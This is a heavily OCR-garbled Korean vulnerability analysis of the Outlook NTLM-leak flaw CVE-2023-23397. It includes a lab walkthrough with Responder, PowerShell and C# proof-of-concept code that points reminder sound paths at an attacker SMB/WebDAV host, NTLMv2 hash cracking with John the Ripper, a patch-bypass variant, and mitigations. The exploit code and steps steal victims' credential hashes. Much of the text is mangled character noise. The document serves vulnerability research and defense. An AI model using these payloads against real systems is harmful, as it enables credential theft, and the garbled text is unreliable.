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! SMB(Server Message Block)& AFE 9] ol F2jAo]dellA md-& ¢l & 4 o AFEH UEYIALL] A TR Il
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2 NTLM(New Technology LAN Manager)v2 & 9904 A|Esl= 9% TRZEF % 5lL}E, Challenge/Response HHA1& S35) 1%,
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S/W #& Qs
Current Channel: Version 2302 (Build 16130.20306)
Monthly Enterprise Channel: Version 2301 (Build 16026.20238)
Monthly Enterprise Channel: Version 2212 (Build 15928.20298)
Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578)
Microsoft M& Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944)
Office 2021 Retail: Version 2301 (Build 16130.20306)
Office 2019 Retail: Version 2302 (Build 16130.20306)
Office 2016 Retail: Version 2302 (Build 16130.20306)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481)
Office 2019 Volume Licensed: Version 1808 (Build 10396.20023)

X Android, iOS, Mac, & & Outlook(OWA) & CHE Microsoft 365 AlH|A= Hek2 BHX| b=Ct
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AFH Wl 37 Il MEEO UAs FXE FASH| $ME, O OiYS
2OI5H7] ot o=z UNC 228 &3l dFH HESRZ &2 3+ oo
UNC
. . Hg = QULCH UNC EEE WWservernamelW[sharename]#[path]¥[filenmae]
(Universal Naming
Convention) Ze HWAo=Z TAIE|DY, WW192.168.102.65WsmbWegstwav 2 20| AFSE ==
ALt
MAPI A2 SEZZIY WoM TALES EUWAL, xf“ol ol A S
(Messaging Application EAME MXRH UE o HEE = UZE |FE= Microsoft =P
Program Interface) T2 =4 QIE I o|AO|LC},
PlayReminderSound Outlook Ol A DJ2| &2 7|5& X|&St= APIO|Ct.

MAPI &89 282 e 7HHof CHet oj2| L& 7[3ho] Xt 32 S2H0|HE
Z0|M Y= 2|2 TS R|FBCE

MAPI £49| AL£= 0] HO| True 2 FOZ|Of US Al
PidLidReminderOverride PidLidReminderPlaySound %41t PidLidReminderFileParameter &4 2k
MElSt ZH=Z Dj2| ¢E sHS gdste = ULt
SecurityZone O|2h HQF FHMO|M At&St= HQH FHo| s
olostH F== gte| 2lbj= Chzah 2L

-1: NoZone, X| ™= %'QOI g2 2o

PidLidReminderFileParameter
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4 1: Intranet E?" °._|EEP'5'J Y2 o|o|f
Aes AOIE FYZ 2[0] (URL THE ER)

2: Trusted, 22 = QU
3: Internet, QIE{Ll A

4: Untrusted, XM|2t=l AIOJE ¥ HEZ <9|O|
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Controller 9 W& ASE Ze
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@ Heiits SAXIE & ofd =0 HAIX[E LIt
ot obd =0 HAIXIZ Oj2] €8 7|s0| XS5t0], Ldiits ZM2 SHX

® Outlook E2t0|AHENM F=Al5H oo
MHE{S| SMB O] NTLMv2 QIEE2 AlEdstD, NTLMv2 7+ &3 EICH
EFE B NTLMv2 215 HEZ Admin Domain Controller O 215 & A|=$HC}.

XIOtS |:|.'

@ &4%tE &
Admin Domain Controller O &25t0] HsiXte| MHE &Y

® BARE

HAE 3P4 =35k CVE-2023-23397 9] 52 748 AwEr)
Windows 10 Pro 22H2(0S 2 E 19045.2006)
) E

Microsoft Office Professional Plus 2016(15.0.4420.1017) 32 H]|

| s X}
(192.168.102.79)

22} Ubuntu 20.04.4 LTS (Focal Fossa)
(192.168.102.65)
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Step 1) A2 Ao A Responder's AHg-dlo] SMB AHZE E0jQ0&= QFHHE

Responder £ https://github.com/SpiderLabs/Responder & E3fi Ct2E2 4 UCE

oy
|
e
i)

ClE
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$ sudo ./Responder.py responder -l eth0 -v

$ sudo ./Responder.py responder -I eth0 -v

1% 3. Responder A&

Step 2) FAA= mlY d¥ 7S Estr] fdl, 4 wde HARE FAA *1‘3194 SMB
Aze AR £ 0F & Jso] AR FhEs A4 HAAE el AET
% PoC I E%= https://github.com/apiOcradle/CVE-2023-23397-POC-Powershell 9| 4] th-22+-& 4 it}
funct ion Send-CalendarWTllesk ($recipient, $remotefilepath, $wmeetingsubizct, $meet ingbody)
1
$0utlook = Hew—Object —comdbject Outlook. Applicatior
fipewcal = $outlook Createlten( olfppointment | ten’ J
newcal . ReminderSoundFile = "##192. 168, 102, Eottsnbieast vay"| 2] TFUS| UNC A=
newcal Fec pIents. a0l Sast laosno || tnes :lj_Llc..H?-:I-Cll oY FA
newcal  MeetingStatus = [Microsoft . 0ffice. Interop. Qutlook. DIHeetlngStatus ‘olMeeting
fnewcal .Subject = "BISTLab”
frnewcal .Location = " jruru
frewcal .Body = "BXSTLab Insisht
fnewcal .Start = get—date
fnewcal .End = (get-date) . AddHours(2)
prewcal  ReminderOverridelefault =1 o2 &¢a 7|5 Y| S=F =Hd s gl
fnewcal .FeninderSet = 1 =0 “lo el o =
fnewcal .ReminderPlaysound = 1 UNC ZZ0j A O E :‘rp;:' = 44
Frnewcal.sendl )
h

a9 4. o4 = WAA AR 2 A

* Responder & UEQZ WollA Au|2o] 274 tjAS
AFHRE F5shed] AgHE Eoltt

e

1 Q1SS TASHET AMSEE TR, VEYT EdES /241 246t
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Step 3) FAAZE HWll b Zf| HAAE ARt TsAte] Outlook ZEtolAENA LA
] o

) X PSPakel =3 s
oA vl=] deo] etE, FAATT AT UNC A== 5 ZE7F AGH,
Search Current Mailbox & | Current Mailbox - 76 Mo Response Required [ Calendar..
Al U g N eqstlabwhblithe
nrea By Date ~
— ! EQSTLab
4 Today As the meeting organizer, you do not need to respond to the meeting.
egstlabwhblithe i R
EC?STLab @ O 10:50 When 20235 3E 312 2822 28 1059-2% 12:59 Location jururu
EQSTLab Insight <end=>
) 1 Reminder(s) — s
4 Wednesday EQSTLak In3|ght
eqstlabwhblithe@ S 7] EQSTLab
EQSTLab 155 25 446 SFEI1M592023EH 3 NY IS Y
Insight jururu
4 Tuesday 5 minutes over...
blithe Wh
u =h 27 10:51

Microsoft Outlook
Microsoft Outiook Test Me... (2h) 27 1...
This is an email message sent

Dismiss

Click Snooze to be reminded in:

4 Monday 5 minutes ~| | snooze Dismiss All

BAicwmenft Chitlomle

a9 5. 448 4A =df #HAA 4

Step 4) &AAE SMB 152 ALt Fafizke] NTLMv2 SfA] gh& 2Helsie),
NTLMv2-SSP Client 2 102

NTLMv2-SSP Username
NTLMv2-SSP Hash

Requested Share 7: \\EQSTLAB.\IPCS
OY 6. &9 oA &

Step 5) HoiAte] SiA] F& John the ripper, hashcat 53 Z2 I F& Fgolo] d&

A= £5T 5 9t

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
(egst)

1g 0:00:00:00 DONE 1/3 (2023-03-31 11:21) 2.083g/s 16.66p/s 16.66c/s 16.66C/s eq

.eqstVICTIM1
Use the "--show --format=netntlmv2"” options to display all of the cracked passwo
rds reliably
Session completed. l

a3 7. A e E_E"o]-ozl H oAQE =&
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B FUH T2 24
CVE-2023-23397 F<Fd-2 Outlook ZTto|dES AAY 7|5 F vy dHE HYoh=
PlayReminderSound API o &Agtty. API of& ulg] <dHo 4 md HZRE AHsh=
PidLidReminderFileParameter &7 WA|x]2] 42| o H2E Agetal, vz g9 7|5 542
SHA5}eH= PidLidReminderOverride &40 &) St}
PidLidReminderFileParameter Canonical
Property
OHE|Z - 2022.03. 24. - H= Ol 22 28 - 7|HA 52 b O

Applies to: Outlook 2013 | Outlook 2016

Specifies the filename of the sound that a client should play when the reminder for that object becomes overdue.

Property Value

Associated properties: dispidReminderFileParam
Property set: PSETID_Common

Long ID (LID): 0x0000851F

Data type: PT_UNICODE

Area: Reminder

19 8. PidLidReminderFileParameter <74

PidLidReminderOverride Canonical Property

OLE|Z - 2022.06.01. - Q= O 22 2 - 7|0{X 6% & T E

Applies to: Outlook 2013 | Outlook 2016

Specifies whether the client should respect the values ofthe[dispidReminderPIaySound (Pl'dLidReminderPIaySound)]and

dispidReminderFileParam ( PidLidReminderFileParameter ]] properties.

Property Value

Associated properties: dispidReminderOverride
Froperty set: PSETID_Common

Long 1D (LID): 1x0000851C

Data type: PT_BOOLEAMN

Area: Reminder

1% 9. PidLidReminderOverride 473
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PidLidReminderFileParameter £A-2 Ad mtdo] AZE UNC A2z AAS 4 9= BExdo]
At FAAE olE &85 UNC A= 2L AHle] SMB, WebDAV 5oz AAT 4= 9]
J .o

a2 LA

= o

T35t PidLidReminderOverride &A4-8 WAIZ7} o] &£A4-8 True & AAT 4 Qe EA|Ho]
_Q_

a

ik, o] &Ao] True & AAIo] 948 79, PidLidReminderFileParameter & HAZE HXA
AMEotA %31, PidLidReminderPlaySound 440l True 2 v wm|g] 49 7|5 F&oteH
ket
static void Main{string[] args)
{

using (var appointment = new Appointment(

new Sender("egstlabwhblithe@egstlab.com”, "EQSTLab"),

new Representing("egstlabwhblithe@egstlab.com”, "EQSTLab™),"Glve ME HASH")}
{

appointment.Recipients.AddTo("victim@eqstlab.com”, "Victim");

appointment.Subject = "Hash";

appointment.Location = "outlook”;

appointmentMeetingStart = DateTime.Now.Date;

appointment.MeetingEnd = DateTime.Now.Date. AddDays(1).Date;

appointment.AllDay = true;

appointment.BodyText = "Steal Hash";

appointment.BodyHtml = "<html> <head> </head><body> <b>thanx u 4 the hash</b></body= </html>";
appointment.5entOn = DateTime.UtcNow;

appointment.importance = MsgKitEnums.Messagelmportance IMPORTANCE_NORMAL;
appointment.lconindex = MsgKit.Enums.Messagelconindex.UnsentMail;
appointment.PidLidReminderFileParameter = @"##192.168.102.65%smbWegstwav";
appointment.PidLidReminderOverride = true;

appointment.Save({@ Ciwtest.msg );

a9 10. $4& wAste] o 2o HAIA] A4
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1) E¢43% Microsoft Tz WY

CVE-2023-23397 FAdL BE WA Microsoft Outlook oA FZ6}2 =, Microsoft oA
2023 ¥ 3 ¥ 14 ¥ Windows & Outlook 2] HeF sfx|5 F /Rt CVE-2023-23397 o o
fx] S AHEHE MapUrlToZone WAE 352 Fa 48 mtde H=Eo tf
SecurityZone > gt= &eIste] A= 4 e UEHZ dR(=ZFE JEHY, A=E & S
YED) E= 24 PC YH] npdvt 5]gste s mjz] =t

rlrorol ok e

int v8[3]; // [esp+l@h] [ebp-1Ch] BYREF
char va[9]; // [ 1Fh] [ebp-Dh
int vie; // [esp+2: ebp-4
= e;
[e] = &;
memset(vi, @, sizeof(vE));
v1e = 8;
= &FileName; —
= *(s1 + 508); bool _ thiscall sub_14575C9(void *this)
if ( (*(ve +24) & 1) I=0) i
{ HRESULT SecurityManager; // ea
5= (*(va +24) & 2) l=@ IInternetSecurityManager *v3; // eax
i ( (%(va +24) 82) 1=9) bool va; // b
{ unsigned int v6; // [esp BYREF
5 = &FileName; IInternetSecurityManager ppSu.[4], // [esp+l4h] [ebp-10h] B
if (= + 28) )
= *(vd + 28)
5%"’:4’\‘:%3:( £)s Hapza =7} MapUrlToZone H4E &= T UNC Z=22| Zone2| 22 v60f X%
| f ( ‘5ub_14575€3(&Fi1eName) )I = CoInternetCreateSecurityManager (@, ppSH, 8);
G
} ! sM[@]->1pvtbl->MapUrlToZone) (ppSM[@], this, &6, 12289), SecurityManager < @) )
21“ er, B8B464432);
if ( la2 ) H N N . = e
return sub_4953A8(v8); ;| Zone2| 30| 2013} (ex: 2 YIERH, HE|E ¢ AE AMO|E)H TrueE ta

sub _5299@3(v9); ?
= [ IH 1
if ( 1o[e] ) psh[e] = @;
return sub_4953A8(v3); (v3->1pVtbl->Release)(v3);
if ( sub_78F723(76) || !'sub_B9B20E() ) }
sub_546F80(76, )i return vid;
» = va[e]; }
}
if ( )
{
if ( )

H
sub_1267CF1(v3);

return sub_4953A8(vE);

a9 12. 7] WE 24

2] TG4 FHeF mtetu]e| PidLidReminderFileParameter 9] WY& Al 4 & o
AlRtsteizlol, FAZE Hafiatet Fdet AD AHE HIskAY, AFEste HEYAS
HFAE &3 SMB, WebDAV o g2 Feto]AEIL HIY o e AHIAE o83l
=2t 2 ot}

= 12 |o
tlo 1o i

5 SecurityZone ©]gF HoF Ao A ARgSH= Hob oo dfgel= Ha ghe Julgitt
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Windows Server 2016 Datacenter
AD server (A “ZE.: ADserver/EQST12#9)
DNS (egstlab.com)
(192.168.102.84)
Windows 10 Pro 22H2(0S ZE 19045.2006)
Microsoft Office Professional Plus 2016(16.0.16227.20202) 32 H|E
| 8H X} AE FE: eqgst/eqgst
DNS (victim.egstlab.com.)
(192.168.102.79)
Ubuntu 20.04.4 LTS (Focal Fossa)
A™™HE: kali/kali
DNS (attacker.egstlab.com)
(192.168.102.65)

AD AMH{

OH
N
R

Office M 9] HH+= th3yt £t

||I||icmsn.1ftla Outlook® 2016 M50 (Version 2303 Build 16.0.16227.20202) 32-bit I
Product [D: 00346-40000-00000-AA626
Session ID: 3A054E43-5460-458A-99BC-AATCO0TTRA45

Third Party MNotices - X
BT Microsoft

Microsoft Software License Terms
MICROSOFT SOFTWARE LICEMSE TERMS
OFFICE 2016 DESKTOP Last updated Septe
IF¥OU LIVE IN [OR IF YOUR PRINCIPAL PLACE OF x| A Ol
CLAUSE AND CLASS ACTION WAIVER IM SECTIO 'LI '—I = I_I I:I'!
Thank you for choosing Microsoft!
Depending on how you obtained the Office so 4+ HF 9| Microsoft 365 3 Office”t DHE W EX 2 &LIOL
software installer that distributes the software
or if a business where your principal place of b
Microsoft is the device manufacturer for device
acquired the software directly from Microsoft,
This agreement describes your rights and the ¢
entire agreement, incuding any printed paper
terms are important and together create this ag
link into a browser window,
By accepting this agreement or using the softw
information during activation and during your ="l=
Section 4, If you do not accept and comply with
device manufacturer or installer, or your retaile

a9 13. 4 WA Q] outlook 2016 32bit
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Step 1) HaiAet 5 AD AH 9] 7FY® FAAE CVE-2023-23397 2 <8387 Y8 4
Y HR2E FAEAY] SMB AHZ dAsto] ot wA RS 2t

funct ion Send-CalendariTWilesk ($recipient. Sremotefilepath, $meetinssubiect, Jmeet ingbody)
1
oot look = Hew—0bject —comObject Outlook. Applicatior
fnewcal = $outlook Crestelten( oldppointment|ten’ ]l
[§rewcal ReminderSoandFile = *ﬂ;";l;hﬂ'.TTsf'.I:‘.‘CiEF.";';"SI'-'IEHil;heI:lst.wa\-"l—g—?:| A2l SMB UNC H =2
frewcal Hecipients. addl eqst |abeholithet J
frewcal MeetingStatus = [Microsoft 0ffice. Interop. (utlook, OlHeet ingStatus] —colMesting
frnewcal . Subject = "BASTLab”
fnewcal .Locat ion = " Insight
frewcal Body = "Patch Bypass
fnewcal .Start = get—date
fnewcal End = {get—date) , AddHoursi 2
Gnewcal  BeminderOverrideDefault =1
Snewcal ReminderSet = 1
fnewcal .FeminderPlaysound = 1
anewcal . sendl )

a9 14, 27 o] ARE AR SMB 34 EUZ 4%

Step 2) Wiz oFd HIAAE eASHE viE] dF 7)ol AEsto] Fofdol SAT

egstlabwhblithe@
All - Unread By Date » T EQSTLab
— a
4 Today 0 As the meeting organizer, you do not need to respond to the meeting.
eqstlabwhblithe@ Fo ) e oe o= o . )
EQSTLab 05 4ug When 20235 42 42 S22 25 447 25 54 Location Insight
Patch Bypass! <end> 1 Reminder(s) %
eminderis, -

4 Last Week Patch Bypass!

Microsoft Qutloo
B

0 reminders are selected
Microsoft Outloo -

-

EEOSTLab 14 minutes ove...
Microsoft Outlook
Microsaft Outlook E B

MY M= YA

03-27 (8)

4 Two Weeks Ago

blithe Wh
test 2023-03-22
test <end>

Click Snooze to be reminded in:

Dismiss All

a9 15, vg €98 5%
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Step 3) & AA = 12 NTLMV2 oH*l HOﬂ AAE-qtr
NTLMv2-SSP Client - ‘
NTLMv2-SSP Username
NTLMv2-SSP Hash

9 16. NTLMv2 3fA] &3

SMB 7t ofz} WebDAV & &8s WiFolA siAl 257t 7Hssitt.

funct ion Send-CalendarNTLMLezk ($recipient, $remotefilepath, $mestinesubject, $meet ingbody)

! i

$utlook = New—Obiect —comdbject Out look. ipolication

fnewcal = %outlook. Createlten( ol dppointment|ten’ ]l

'%newcal ReminderSoundFi le = *#WEII!STLah@EI]*#wehdawﬂ#eqst.wav"lWebDAV A=
newcal Hecipients, addl =ast labeholithel )

fnewcal MeetingStatus = [Microsoft .0ffice. Interop. Cutlook. 0l Heet ingStatus] “2olMeeting
fnewcal .Subject = "BHISTLab”

Srewcal Locat ion = " lnsight
frewcal .Body = "Bvpass By Bebld

1% 17. WebDAV & AR A3

eqst e

qstlabwhblithe @

All  Unread By Date v T EQSTLab

4 Today o As the meeting organizer, you do not need to respond to the meeting.
- s

eqstiabwhblithe® £ When 20239 4 42 =82 27 11:01-2 % 1:01 Location Insight

EQSTLab 23 11:01 =

Bypass By WebDAV <end>

1 Reminder(s) - >
4 Last Week Bypass By WebDAY
p—
Microsoft Outlook EQSTLab N
Microsaft Outlook HAE . SF 10120230 4242 58S
B E2ESH2ESH= Insight

Microsoft Outlook
rncrosort Outlook E1 2E ., 03-27 ()

2 2ESEIX

Dismiss

Click Snooze to be reminded in:
4 Two Weeks Ago

blithe Wh

5 minutes | | anooze Dismiss All

329 18, oM z0) WAA] SA
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Host

NTLMv2 Client
NTLMv2 Username :
NTLMv2 Hash

1% 19. WebDAV £ ©]-83F NTLMv2 SiA] €5
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3) ﬁH.Q. l:ﬂ'(])l-

CVE-2023-23397 th-& HIote 4 7122 A 9]
1. XAl HF O] Outlook 22 YO0IE (R& F 2
2. Reminder(0|2| &) 7|s siX
3. SMB, WebDAV S1} 22 Z2I0|2E MH|AZ Lt7H= IjZlE Outbound M2 ACL HE
4. Microsoft | M X[ S3t= PowerShell 23 EE HE

X PFe} Exchange Server2 2¥dt= AL %4l H{MO| Exchange MHZ HUHO|ESIH MEZ2 HAIX|IS A6t TNEFSTIUZ

H2t Al PidLidReminderFileParameter HIA|X| &’d2 AN|SI7| W20 HHSICE

N
ok

U

A WA GRS Microsoft oA Agtsh= HA xS HLst= Aolt}, syt o] =
TAANAE AR ¢ HHESROl, iRt o7t F7F JHsAdol AT E}EW
offj o] HIore Fr1A oz L3l Aol CVE-2023-23397 FoFdol oHAgh -3 wWetolrt

=

T AR ek vY 4 7lse vE2E dAlste vl g 7152 AlRteke Wetelt vy
a9 7152 AIgFelH PidLidReminderOverride 4432 True 2 AAd|x, nlg] &dHo| F26lA|
2271 WlEoll CVE-2023-23397 F ool ¢Hdsttt. mlg] o7l 7e= Agtehs ek o2
2ot otd(File) -> ¥4 (Options) —» IF(Advance) ©|F offe] O3}t o] A3 HIAE

—

General [i Options for working with Outlook.
Mail
Calendar Outlook panes
People Customize Outlook panes. Navigation...
= Reading Pane...
Search
Qutlook start and exit

Language
Accessibility Start Qutlook in this folder: Inbax Browse...
Advanced Empty Deleted Iterns folders when exiting Outlook
Customize Ribbon AutoArchive
Quick Access Toolbar =

\Q—I Reduce mailbox size by deleting or moving old items to an archive data file. Autolrchive Settings...
Add-ins
Trust Center Reminders

Show reminders

A2 EA| S

Play reminder sound:

a9 20. "F] &9 71%E A

® TNEF(Transport Neutral Encapsulation Format) mto]@t WjA4 28 mz 7w e do]AMAPDE 7j¥toz Ha= H2 v

A% wololeh, AR meloi Outook 75209 /2}eIet, o4, olulA] ) tokat F4o] WAAS Ege & 9k,
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N HA =S SMB, WebDAV 53 72 Zelo|dE AH|ANA ofH2E HALS AgHsl=
ACL-E& #-835l= Weteltt, CVE-2023-23397 HFH2NTLMv2 sAIE FAA A AEot= Aol
EAo]7] W&o Yrte #7lS Aoz n FAH g 4 Q.

*E“S -> OPIHF—E—E & -> A

-> ZE > EF Y7 HE(ex. SMB: 445, 135) -> AZ AGh > % 0|5 43 = O -> 49 o AEoA
24 ZTE F7t

X T 4o ut2t orHI2E A KT A|, Fof EM Jtsdo| Exfsty| W20 [olsHokstct.
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o
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o
®
0L
LO_I-
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v
k1
el

= 257 = HEE cve-2023 &4 X
EZ AFHO 1g 20H0] =) Rl /XNt [ f—
@ er ! bl oy zzazgaHs 2z EEE ESSEUES ax D3 23S0 AR
e e = 0=
= rees 3 EE
[CEETET () cve-2023] T
|.:h =10 = @ @FirewallAPLd =3 ZEEZ SR(PE TCP >

4 skype ZEES HE(UN B =

@ Skype

@ spotify Music 23 ExE(L): EX™ XE -

& Spotify Music 445, 135

L EDR | (Hl: 80. 443, 5000-5010

@ Allloyn 212 H HE EZE(RR EH XE ~

@ Allloyn 22 = 445, 135
BranchCache 3 T B0, 343, S50
BranchCache 1

4 |ICMP{Internet Contral Message

BranchCacth Protocaly €%
BranchCache 3

iy Y

a9 21. obxHtRE AAE B9 HI A

et

29t 2= Microsoft oA A-&5l= PowerShell A3 AIHYEE ALQ5}= Hoto|r},
AJEE CIREE FA

https://github.com/microsoft/CSS-Exchange/releases/latest/download/CVE-2023-23397.ps1

JF

PowerShell 3 A3 HEE Exchange WAA &5MHIY, 94 9 2)-& ]lste] FHekgt &40
—‘?«Z}Oﬂo] ZotElo] QEA] ERlohs AT HE|H LAgte|| Forgt /48 AREEE HAIATE A=A
2] & CSVIHY-E Algshs Audit =S} FoFst £4& AATAY HAAE AASH= Cleanup

¢ o el wher @ ARk HA 27 Fol] HhERR FHo]z] oA ZpA|gt

mEs Qg 24
AnE gag > o
- Audit ZE: £40] MefTl =0l ME HEIL ZEE CSV otYE HS
- Cleanup BE: §d88 XL €52 M50 ZX|E &=0| Cist H2[E e Clearltem 2 H& Al
HAIXIE X 7HStH, ClearProperty & Al HIAIX[OA 22X 7L e HdS2 HAE

7 https://microsoft.github.io/CSS—Exchange/Security/CVE-2023-23397/
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https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/

H &30 AIO|E

—https://learn.microsoft.com/en—us/previous—versions/windows/internet—explorer/ie-developer/platform—

apis/dd759042(v=vs.85)
—https://www.microsoft.com/en—us/security/blog/2023/03/24/guidance—for—investigating—attacks—using—
cve—2023-23397/

—https://twitter.com/wdormann/status/1638308666368569345
—https://www.mdsec.co.uk/2023/03/exploiting—cve—2023-23397-microsoft—outlook—elevation—of—
privilege—vulnerability/

— https://learn.microsoft.com/ko—kr/dotnet/api/system.security.securityzone?view =windowsdesktop—7.0
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